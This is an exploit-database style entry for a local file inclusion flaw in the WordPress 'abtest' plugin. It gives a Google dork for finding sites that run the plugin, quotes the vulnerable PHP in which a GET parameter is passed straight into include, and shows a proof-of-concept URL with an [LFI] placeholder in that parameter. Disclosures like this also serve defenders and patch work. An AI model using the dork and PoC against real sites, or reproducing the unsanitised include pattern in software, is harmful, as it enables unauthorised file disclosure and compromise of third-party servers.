27 lines
No EOL
570 B
Text
27 lines
No EOL
570 B
Text
# Exploit Title: Wordpress Plugin Abtest - Local File Inclusion
|
|
# Date: 2016-03-19
|
|
# Google Dork : inurl:/wp-content/plugins/abtest/
|
|
# Exploit Author: CrashBandicot
|
|
# Vendor Homepage: https://github.com/wp-plugins/abtest
|
|
# Tested on: Chrome
|
|
|
|
|
|
# Vulnerable File : abtest_admin.php
|
|
|
|
<?php
|
|
|
|
require 'admin/functions.php';
|
|
|
|
if (isset($_GET['action'])) {
|
|
|
|
include 'admin/' . $_GET['action'] . '.php';
|
|
|
|
} else {
|
|
|
|
include 'admin/list_experiments.php';
|
|
}
|
|
?>
|
|
|
|
# PoC : localhost/wp-content/plugins/abtest/abtest_admin.php?action=[LFI]
|
|
|
|
# Pics : http://i.imgur.com/jZFKYOc.png |